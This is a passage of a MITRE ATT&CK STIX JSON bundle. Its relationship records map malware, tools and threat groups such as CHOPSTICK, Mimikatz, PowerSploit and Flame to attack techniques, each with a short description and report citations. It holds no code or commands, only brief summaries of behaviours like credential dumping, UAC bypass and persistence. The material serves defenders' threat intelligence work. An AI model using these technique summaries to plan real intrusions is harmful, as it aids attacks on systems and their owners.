            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) encrypts C2 communications with RC4.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "source_name": "ESET Sednit Part 2"
                }
            ],
            "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-20T23:11:10.189Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--141d1c0d-2f56-4b56-8834-ca3dab22faf9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[VERMIN](https://attack.mitre.org/software/S0257) is initially packed.(Citation: Unit 42 VERMIN Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 VERMIN Jan 2018",
                    "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"
                }
            ],
            "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2020-03-16T19:50:57.820Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--d15cda3e-7ed6-4914-a0a8-ff1f4fe668ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BADNEWS](https://attack.mitre.org/software/S0128) has a command to download an .exe and execute it via CreateProcess API. It can also run with ShellExecute.(Citation: Forcepoint Monsoon)(Citation: TrendMicro Patchwork Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Forcepoint Monsoon",
                    "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.",
                    "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf"
                },
                {
                    "source_name": "TrendMicro Patchwork Dec 2017",
                    "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.",
                    "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
                }
            ],
            "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670",
            "type": "relationship",
            "modified": "2020-03-16T15:59:20.318Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--c8db7b65-563d-47ba-9e06-cabdbade47e9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) has dumped credentials, including by using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.121Z",
            "created": "2017-05-31T21:33:27.033Z"
        },
        {
            "id": "relationship--d2a8729f-6271-46a0-8a40-a8567c9e5092",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74",
            "relationship_type": "uses",
            "target_ref": "tool--ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
            "external_references": [
                {
                    "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east",
                    "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.",
                    "source_name": "Symantec Leafminer July 2018"
                }
            ],
            "description": "(Citation: Symantec Leafminer July 2018)",
            "type": "relationship",
            "modified": "2019-03-25T14:12:13.491Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--76021528-7cb6-461a-870a-f681cac19285",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[TA459](https://attack.mitre.org/groups/G0062) has targeted victims using spearphishing emails with malicious Microsoft Word attachments.(Citation: Proofpoint TA459 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts",
                    "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.",
                    "source_name": "Proofpoint TA459 April 2017"
                }
            ],
            "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597",
            "type": "relationship",
            "modified": "2019-03-25T17:00:47.332Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--7bb2d594-36dc-458d-9f9b-8a3df42fac67",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ZeroT](https://attack.mitre.org/software/S0230) gathers the victim's computer name, Windows version, and system language, and then sends it to its C2 server.(Citation: Proofpoint ZeroT Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Proofpoint ZeroT Feb 2017",
                    "description": "Huss, D., et al. (2017, February 2). Oops, they did it again: APT Targets Russia and Belarus with ZeroT and PlugX. Retrieved April 5, 2018.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/APT-targets-russia-belarus-zerot-plugx"
                }
            ],
            "source_ref": "malware--4ab44516-ad75-4e43-a280-705dc0420e2f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2020-03-17T02:54:39.671Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--442aa7b4-00a0-4d73-ae61-5a09c319ac1c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--a569295c-a093-4db4-9fb4-7105edef85ad",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d",
            "type": "relationship",
            "modified": "2020-03-30T20:17:22.201Z",
            "created": "2017-05-31T21:33:27.019Z"
        },
        {
            "id": "relationship--b997d866-0aef-4ba6-a812-cfa2fccb05af",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RunningRAT](https://attack.mitre.org/software/S0253) contains code to compress files.(Citation: McAfee Gold Dragon)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/",
                    "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.",
                    "source_name": "McAfee Gold Dragon"
                }
            ],
            "source_ref": "malware--60d50676-459a-47dd-92e9-a827a9fe9c58",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-04-21T23:09:31.022Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8576db0e-6a7c-40d4-b797-fb0094d5849f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[HARDRAIN](https://attack.mitre.org/software/S0246) uses cmd.exe to execute <code>netsh</code>commands.(Citation: US-CERT HARDRAIN March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "US-CERT HARDRAIN March 2018",
                    "description": "US-CERT. (2018, February 05). Malware Analysis Report (MAR) - 10135536-F. Retrieved June 11, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-F.pdf"
                }
            ],
            "source_ref": "malware--bd0536d7-b081-43ae-a773-cfb057c5b988",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T02:27:21.804Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--42aa16be-5b53-4645-998b-9eb5de8c0429",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[GravityRAT](https://attack.mitre.org/software/S0237) uses HTTP for C2.(Citation: Talos GravityRAT)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Talos GravityRAT",
                    "description": "Mercer, W., Rascagneres, P. (2018, April 26). GravityRAT - The Two-Year Evolution Of An APT Targeting India. Retrieved May 16, 2018.",
                    "url": "https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
                }
            ],
            "source_ref": "malware--1d1fce2f-0db5-402b-9843-4278a0694637",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161",
            "type": "relationship",
            "modified": "2020-03-17T01:26:23.876Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fdb02bf4-a950-4ae7-b07c-a3ed0322ef6e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can enumerate Registry values, keys, and data.(Citation: ESET InvisiMole June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET InvisiMole June 2018",
                    "description": "Hromcov\u00e1, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.",
                    "url": "https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/"
                }
            ],
            "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896",
            "type": "relationship",
            "modified": "2020-03-17T00:09:25.851Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--4176d195-5740-47c2-874d-51704e7d293e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can communicate to its C2 over TCP using a custom binary protocol.(Citation: FireEye APT10 April 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
                }
            ],
            "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f72eb8a8-cd4c-461d-a814-3f862befbf00",
            "type": "relationship",
            "modified": "2020-03-17T02:23:04.197Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--438cae9c-cb03-4db9-ae59-24ed27147725",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Nidiran](https://attack.mitre.org/software/S0118) can download and execute files.(Citation: Symantec Backdoor.Nidiran)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Backdoor.Nidiran",
                    "description": "Sponchioni, R.. (2016, March 11). Backdoor.Nidiran. Retrieved August 3, 2016.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2015-120123-5521-99"
                }
            ],
            "source_ref": "malware--9e9b9415-a7df-406b-b14d-92bfe6809fbe",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add",
            "type": "relationship",
            "modified": "2020-03-18T15:21:51.782Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--321a3181-9478-4a4c-b13b-607dbfeee7fc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pupy](https://attack.mitre.org/software/S0192) can bypass Windows UAC through either DLL hijacking, eventvwr, or appPaths.(Citation: GitHub Pupy)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/n1nj4sec/pupy",
                    "description": "Nicolas Verdier. (n.d.). Retrieved January 29, 2018.",
                    "source_name": "GitHub Pupy"
                }
            ],
            "source_ref": "tool--cb69b20d-56d0-41ab-8440-4a4b251614d4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2019-04-24T17:52:47.743Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--6184b127-47cf-43fc-880b-890554d9cc9a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Rover](https://attack.mitre.org/software/S0090) takes screenshots of the compromised system's desktop and saves them to <code>C:\\system\\screenshot.bmp</code> for exfiltration every 60 minutes.(Citation: Palo Alto Rover)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Rover",
                    "description": "Ray, V., Hayashi, K. (2016, February 29). New Malware \u2018Rover\u2019 Targets Indian Ambassador to Afghanistan. Retrieved February 29, 2016.",
                    "url": "http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/"
                }
            ],
            "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-16T17:46:07.748Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--5077f774-95a4-459e-b88c-cb3a4dd5c8c6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Reaver](https://attack.mitre.org/software/S0172) encrypts some of its files with XOR.(Citation: Palo Alto Reaver Nov 2017)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Reaver Nov 2017",
                    "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/"
                }
            ],
            "source_ref": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T02:22:51.809Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--19161920-e6b5-481f-a240-62f05c624010",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PoisonIvy](https://attack.mitre.org/software/S0012) creates a Registry subkey that registers a new system device.(Citation: Symantec Darkmoon Aug 2005)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Darkmoon Aug 2005",
                    "description": "Hayashi, K. (2005, August 18). Backdoor.Darkmoon. Retrieved February 23, 2018.",
                    "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99"
                }
            ],
            "source_ref": "malware--b42378e0-f147-496f-992a-26a49705395b",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
            "type": "relationship",
            "modified": "2020-03-16T16:57:13.393Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--8ab176f0-009f-49e9-ba4b-f476c33697f4",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c",
            "relationship_type": "uses",
            "target_ref": "malware--72f54d66-675d-4587-9bd3-4ed09f9522e4",
            "external_references": [
                {
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.",
                    "source_name": "Kaspersky Carbanak"
                }
            ],
            "description": "(Citation: Kaspersky Carbanak)",
            "type": "relationship",
            "modified": "2019-03-22T19:59:27.077Z",
            "created": "2017-05-31T21:33:27.042Z"
        },
        {
            "id": "relationship--1da7a099-122d-4c26-b27f-f8acabdd7b44",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) reflectively loads a Windows PE file into a process.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
            "type": "relationship",
            "modified": "2020-03-17T14:09:17.377Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--82826722-4278-438e-a8d0-5bd9fd117b2b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[DownPaper](https://attack.mitre.org/software/S0186) uses PowerShell to add a Registry Run key in order to establish persistence.(Citation: ClearSky Charming Kitten Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Charming Kitten Dec 2017",
                    "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"
                }
            ],
            "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-03-17T00:54:56.933Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--fbfc610a-5355-40fc-b5a1-059e89a1eb8d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[SslMM](https://attack.mitre.org/software/S0058) sends information to its hard-coded C2, including OS version, service pack information, processor speed, system name, and OS install date.(Citation: Baumgartner Naikon 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Baumgartner Naikon 2015",
                    "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf"
                }
            ],
            "source_ref": "malware--2fb26586-2b53-4b9a-ad4f-2b3bcb9a2421",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-25T02:48:47.497Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--60137eb6-ed8c-41ce-bf75-6b45cdafe751",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The [Derusbi](https://attack.mitre.org/software/S0021) malware supports timestomping.(Citation: Novetta-Axiom)(Citation: Fidelis Turbo)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf",
                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
                    "source_name": "Novetta-Axiom"
                },
                {
                    "url": "https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf",
                    "description": "Fidelis Cybersecurity. (2016, February 29). The Turbo Campaign, Featuring Derusbi for 64-bit Linux. Retrieved March 2, 2016.",
                    "source_name": "Fidelis Turbo"
                }
            ],
            "source_ref": "malware--94379dec-5c87-49db-b36e-66abc0b81344",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2019-08-16T18:52:50.543Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--a5a63d5c-acf7-4720-866d-fcf6e576a58f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) can run commands on the command-line interface.(Citation: Villeneuve et al 2014)(Citation: NCC Group APT15 Alive and Strong)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf",
                    "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.",
                    "source_name": "Villeneuve et al 2014"
                },
                {
                    "source_name": "NCC Group APT15 Alive and Strong",
                    "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.",
                    "url": "https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"
                }
            ],
            "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
            "type": "relationship",
            "modified": "2021-03-29T19:54:46.096Z",
            "created": "2017-05-31T21:33:27.032Z"
        },
        {
            "id": "relationship--052b685c-6d95-4a98-86f1-4c9bb39a398c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Flame](https://attack.mitre.org/software/S0143) can use MS10-061 to exploit a print spooler vulnerability in a remote system with a shared printer in order to move laterally.(Citation: Kaspersky Flame)(Citation: Kaspersky Flame Functionality)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-flame-questions-and-answers-51/34344/",
                    "description": "Gostev, A. (2012, May 28). The Flame: Questions and Answers. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame"
                },
                {
                    "url": "https://securelist.com/flame-bunny-frog-munch-and-beetlejuice-2/32855/",
                    "description": "Gostev, A. (2012, May 30). Flame: Bunny, Frog, Munch and BeetleJuice\u2026. Retrieved March 1, 2017.",
                    "source_name": "Kaspersky Flame Functionality"
                }
            ],
            "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9db0cf3a-a3c9-4012-8268-123b9db6fd82",
            "type": "relationship",
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            "external_references": [
                {
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                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                }
            ],
            "description": "(Citation: Mandiant APT1)",
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            "created": "2017-05-31T21:33:27.037Z"
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            "description": "Following exploitation with [LOWBALL](https://attack.mitre.org/software/S0042) malware, [admin@338](https://attack.mitre.org/groups/G0018) actors created a file containing a list of commands to be executed on the compromised computer.(Citation: FireEye admin@338)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T18:55:18.857Z",
            "created": "2017-05-31T21:33:27.051Z"
        },
        {
            "id": "relationship--02462741-4148-48b3-881b-1b813ce62fcc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            ],
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
            "external_references": [
                {
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "source_name": "F-Secure The Dukes"
                }
            ],
            "description": "(Citation: F-Secure The Dukes)",
            "type": "relationship",
            "modified": "2019-07-25T14:25:53.431Z",
            "created": "2017-05-31T21:33:27.050Z"
        },
        {
            "id": "relationship--508879cf-53b7-4578-9a5f-9ed20dfb09ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dyre](https://attack.mitre.org/software/S0024) injects into other processes to load modules.(Citation: Symantec Dyre June 2015)",
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Symantec Dyre June 2015",
                    "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.",
                    "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"
                }
            ],
            "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe",
            "relationship_type": "uses",
